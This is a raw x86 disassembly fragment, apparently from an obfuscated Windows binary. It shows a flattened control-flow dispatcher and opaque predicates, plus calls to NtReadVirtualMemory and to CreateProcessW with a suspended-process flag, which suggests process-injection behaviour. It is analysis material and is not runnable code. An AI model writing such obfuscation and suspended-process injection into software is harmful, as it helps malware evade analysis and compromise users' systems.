mov eax, dword [ebp - 0xd8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x13c], 0x5dd2af43
jmp 0x1000f719
mov eax, dword [ebp - 0x128]
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0xd00cb384
sub edx, 1
sub edx, 0xd00cb384
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x826a7b6f
mov ecx, 0xd2d862b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dword [ebp - 0x13c], 0xe221e1bb
jmp 0x1000f719
mov dword [ebp - 0x13c], 0x390fac01
jmp 0x1000f719
mov eax, dword [ebp - 0x11c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x124]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x13c], 0xd54cfa4d
jmp 0x1000f719
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x13c], 0x9e037fcf
jmp 0x1000f719
mov dword [ebp - 0x13c], 0xaef0a397
jmp 0x1000f719
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x13c], 0x4b513c14
jmp 0x1000f719
mov dword [ebp - 0x13c], 0xced90bde
jmp 0x1000f719
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x13c], 0xd15d2ecd
jmp 0x1000f719
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x13c], 0x9697b463
jmp 0x1000f719
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x13c], 0xa3fbf165
jmp 0x1000f719
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x13c], 0x8fe3643d
jmp 0x1000f719
jmp 0x100074f0